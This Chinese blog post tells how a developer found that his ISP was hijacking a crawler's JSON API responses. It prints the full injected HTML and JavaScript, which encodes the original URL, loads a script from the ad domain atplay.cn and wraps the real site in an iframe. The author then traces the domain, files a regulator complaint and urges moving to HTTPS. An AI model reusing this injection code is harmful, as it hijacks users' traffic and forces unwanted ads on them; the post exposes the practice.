运营商劫持，是常见的流氓手段，它们老少通吃，连孩子都不放过，经常嚣张的在右下角或者网页头尾，弹出一些羞羞的广告。这让正在辅导孩子功课的妈妈，很难解释。
一、前言
一道经典面试题：当你输入一个网址后回车，实际会发生什么?
那得看输的啥网址，淘宝剁手、百度伤身、腾讯伤肾……
二、神秘的返回
那日风和日丽、万里无云，延迟退到不足50ms，是个散养爬虫的好日子~
与往常相同，一通风骚操作，数据便如百川入海般成功落库。刚想泡杯咖啡，瞧瞧久违的天空，一道绵长的报错信息就宛如拉稀般泼向屏幕!
草(一种植物)，莫不是被发现了?赶紧看看
草!(一种强大植物) 。这是个啥?原以为会返回异常状态码，或者错误json，再不济是伪数据，没想到连数据格式都改了，整了一HTML丢过来?
可这接口，明明都是json。
喝口白水想安抚下结果烫了嘴……思前想后。产品光喝酒不吃菜也不能下这需求，再说我这小蚊子不至于拿炮轰吧。
一定 有!——问!——题!
暴起捞日志，查看频率。大约10道请求有一道异常，于是顺手拿到全部HTML代码。让我们学习一下…
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <meta id="viewport" name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
- </head>
- <script>
- window["$$$wins_pm"] = {
- "a": "https://atplay.cn/banner/indexsd.aspx",
- "m": "http://baidu.com/",
- "_xus": "YBsOw1mgMPSOdBFpMBFjYBQjMZSjMBsXM3gO",
- "_xai": "0"
- };
- var xp=null,key="d=123",lo=location.href,ho=false;
- function cu(u){
- var p=u.indexOf("?");
- if(p>0)
- u=u.slice(0,p+1)+key+"&"+u.slice(p+1);
- else
- u+="?"+key;
- return u;
- }
- function Base64() {
- _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
- this.encode = function(input) {
- var output = "";
- var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
- var i = 0;
- input = _utf8_encode(input);
- while (i < input.length) {
- chr1 = input.charCodeAt(i++);
- chr2 = input.charCodeAt(i++);
- chr3 = input.charCodeAt(i++);
- enc1 = chr1 >> 2;
- enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
- enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
- enc4 = chr3 & 63;
- if (isNaN(chr2)) {
- enc3 = enc4 = 64
- } else if (isNaN(chr3)) {
- enc4 = 64
- }
- output = output + _keyStr.charAt(enc1) + _keyStr.charAt(enc2) + _keyStr.charAt(enc3) + _keyStr.charAt(enc4)
- }
- return output
- };
- this.decode = function(input) {
- var output = "";
- var chr1, chr2, chr3;
- var enc1, enc2, enc3, enc4;
- var i = 0;
- input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
- while (i < input.length) {
- enc1 = _keyStr.indexOf(input.charAt(i++));
- enc2 = _keyStr.indexOf(input.charAt(i++));
- enc3 = _keyStr.indexOf(input.charAt(i++));
- enc4 = _keyStr.indexOf(input.charAt(i++));
- chr1 = (enc1 << 2) | (enc2 >> 4);
- chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
- chr3 = ((enc3 & 3) << 6) | enc4;
- output = output + String.fromCharCode(chr1);
- if (enc3 != 64) {
- output = output + String.fromCharCode(chr2)
- }
- if (enc4 != 64) {
- output = output + String.fromCharCode(chr3)
- }
- }
- output = _utf8_decode(output);
- return output
- };
- _utf8_encode = function(string) {
- string = string.replace(/\r\n/g, "\n");
- var utftext = "";
- for (var n = 0; n < string.length; n++) {
- var c = string.charCodeAt(n);
- if (c < 128) {
- utftext += String.fromCharCode(c)
- } else if ((c > 127) && (c < 2048)) {
- utftext += String.fromCharCode((c >> 6) | 192);
- utftext += String.fromCharCode((c & 63) | 128)
- } else {
- utftext += String.fromCharCode((c >> 12) | 224);
- utftext += String.fromCharCode(((c >> 6) & 63) | 128);
- utftext += String.fromCharCode((c & 63) | 128)
- }
- }
- return utftext
- };
- _utf8_decode = function(utftext) {
- var string = "";
- var i = 0;
- var c = c1 = c2 = 0;
- while (i < utftext.length) {
- c = utftext.charCodeAt(i);
- if (c < 128) {
- string += String.fromCharCode(c);
- i++
- } else if ((c > 191) && (c < 224)) {
- c2 = utftext.charCodeAt(i + 1);
- string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
- i += 2
- } else {
- c2 = utftext.charCodeAt(i + 1);
- c3 = utftext.charCodeAt(i + 2);
- string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
- i += 3
- }
- }
- return string
- }
- }
- window["__BASE64"] = new Base64();
- function getURLwithParams() {
- var url = "";
- if ($$$wins_pm.a.indexOf('?') > 0) {
- url = $$$wins_pm.a + "&_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai;
- } else {
- url = $$$wins_pm.a + "?_us=" + $$$wins_pm._xus + "&_su=" + __BASE64.encode($$$wins_pm.m) + "&_id=" + $$$wins_pm._xai;
- }
- return url;
- }
- function goURLm() {
- var desturl = $$$wins_pm.m;
- if (desturl.slice(desturl.length - 1) == "/") desturl = desturl.slice(0, desturl.length - 1);
- return "<html></head><script>document.location.replace(\"" + desturl + "\");<\/script><\/html>"
- };
- </script>
- <body style="margin:0;padding:0;">
- <!--<div style="display: none;"><script src="https://s6.cnzz.com/z_stat.php?id=722749&web_id=722749" language="JavaScript"></script></div>-->
- <script type="text/javascript" src="https://atplay.cn/banner/indexsd.js"></script>
- <div style="width:100%;height:100%;-webkit-overflow-scrolling:touch;overflow-y:scroll;">
- <iframe id='ifrmain' src='JavaScript:parent.goURLm()' scrolling=auto width='100%' height='100%' frameborder='no' onload=''></iframe>
- </div>
- </body>
- </html>
三、真相大白
淦!真相大白，这糟烂的代码绝不是爬虫的菜，连地沟油都算不上啊!看这尿性八成是宽带运营商的手笔，之前访问个baidu都被套个iframe。但咱是万万没想到啊，这次饥不择食的连json接口都不放过，还改的这么大，粗，硬!
这就相当于刚出机场想打车到景点，结果上的是一黑车啊，拉着吃饭桑拿大宝剑，掏空钱包就拍地上!
既然确定是黑车，那索性就顺势调起这条傻鱼。先看看效果——
呵，呵呵，呵呵呵。。。。不出所料。
忍着膈应翻代码，找到域名，丢whois
拿到公司名，丢百度、天眼查，企查查。。。是它，是它没跑了
四、结果?
这种手段，没有宽带运营商狼狈为奸，通常是无法完成的。目前家里一条X信，一条X动，经反复测试，只有X动线会出这个问题。。。那事情就很简单了
工!信!部!投!诉!
坐标：https://dxss.miit.gov.cn/
风波过去又是睛空万里，但这——恐怕永远不会是最后一次。
五、我的网站该怎么办?
你搞一下劫持，无可厚非，毕竟土壤就是这样。但是你写的这劫持bot也太傻了吧，连json格式都搞，让人家开公司的如何是好。要知道，现在很多服务，都没有网页端了，劫持程序该升下级了。
曾几何时，我们的网站，还都是http，这是劫持的最爱。应对的方式，就是全面升级为https，加大劫持难度，保护用户，也保护自己。
作者简介：小姐姐味道 (xjjdog)，一个不允许程序员走弯路的公众号。聚焦基础架构和Linux。十年架构，日百亿流量，与你探讨高并发世界，给你不一样的味道。我的个人微信xjjdog0，欢迎添加好友，进一步交流。
